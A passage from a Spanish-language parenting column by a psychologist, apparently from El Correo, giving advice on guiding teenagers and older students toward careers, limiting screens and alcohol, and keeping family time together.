– Los padres debemos enseñarles realidades laborales en los campos que les puedan interesar; desde llevarles con nosotros a la oficina, a pasear con ellos en un hospital, acudir a mercabilbao» una mañana, o al pleno municipal,… son actividades que harán ver a los chavales las realidades laborales y las ayudarán a elegir.

– Su lugar de estudio debe ser respetado, y debemos facilitarle el acceso al conocimiento. Desde cursos extra de inglés, hasta viajes para descubrir lugares atractivos.

– Existe el riesgo de no poner límite al consumo de tóxicos (sobre todo tabaco y alcohol), por eso en casa no deben consumirse. Y deberían tener experiencias negativas, por aprendizaje propio u observacional de alguna persona cercana, acerca de las consecuencias de pasar un límite en el consumo de tóxicos.

– El uso de los móviles y las «pantallas» en general debe circunscribirse a un espacio concreto, y tras hacer sus tareas escolares. Debemos reservar un momento para cada cosa. Toca comer, toca ver la TV, toca internet, toca dormir, toca hacer deporte,… pero no mezclar esas cosas. Los padres y madres somos los primeros que debemos cumplir esto. Sin excusas.

 

 

El Correo. HerránBACHILLER y FORMACIÓN PROFESIONAL (GRADO MEDIO / GRADO SUPERIOR)

 

En estas edades la orientación profesional ya va siendo mucho más definida y los intereses y habilidades pueden estar más diferenciados. Las relaciones sociales están más asentadas y existen claramente amigos especiales e incluso pareja. La autonomía debería ser muy alta.

 

Por ello, recomendamos:

 

– Observar experiencias laborales directas de lo que les gustaría hacer en su futuro.

– Permitir que ellos sean los que se autorregulen su tiempo de ocio, siempre y cuando asuman las consecuencias de sus actos. si llegan tarde por una fiesta, no pueden levantarse a las dos del mediodía…

– El uso de los móviles y de internet debe ser controlado y limitado cuando vemos que ellos mimos no pueden diferenciar entre unos momentos para una cosa y otros para otra.

– La relación con el padre y la madre puede notarse más distante, por no coincidir tanto tiempo. Por eso debemos mantener, «contra viento y marea» espacios de estar todos juntos (comidas, cenas,…)

– Tener pequeñas experiencias laborales «informales» como ayudar a preparar unas fiestas del pueblo, o limpiar el trastero del cuñado, pueden ser experiencias muy enriquecedoras que les ayuden a valorar sus capacidades y les ayuden a orientar su futuro profesional.

– Abrirse a otras personas, otras experiencias fuera de su entorno, suelen ser experiencias positivas para ellos y ellas.

 

 

 

Luis de la Herrán

Psicólogo del Centro delta Psicología.